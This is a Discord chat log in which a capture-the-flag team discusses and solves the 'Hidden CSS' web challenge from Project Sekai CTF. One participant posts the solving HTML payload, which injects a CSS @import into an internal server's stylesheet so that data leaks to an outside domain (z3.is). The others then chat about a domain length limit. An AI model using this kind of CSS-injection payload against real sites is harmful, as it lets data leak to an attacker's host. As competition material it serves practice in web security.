Project Sekai - ✅-web-hidden-css

Hidden CSS - 500 points

Category: Web Description: Can you exfiltrate the flag from the private server? https://hidden-css-tlejfksioa-ul.a.run.app Files:

Tags: SamXML#6151

Sutx pinned a message to this channel. 03/17/2023 1:00 PM

@irogir wants to collaborate

@zwx风信 wants to collaborate

@Violin wants to collaborate

this xss?

19:38

anyone tried? (edited)

idts

@strellic wants to collaborate

ah @strellic can you try csrf?

solved

20:06

<html>
<head>
<link rel=stylesheet href="http://0:1337/css?prefix=@import%20%27//z3.is/?"></head>
<body>
<h1>yo</h1>
</body>
</html>

20:06

i love having a 4 letter domain

strellic

used /ctf solve

✅ Challenge solved.

idk if intended

wtf

20:06

z3.is again

20:06

20:07

so it wont work if u have 1 more character?

damn god

20:07

thanks mate xD

i think 8 letter domain max

oo

20:07

ic

or 7

20:07

lmfao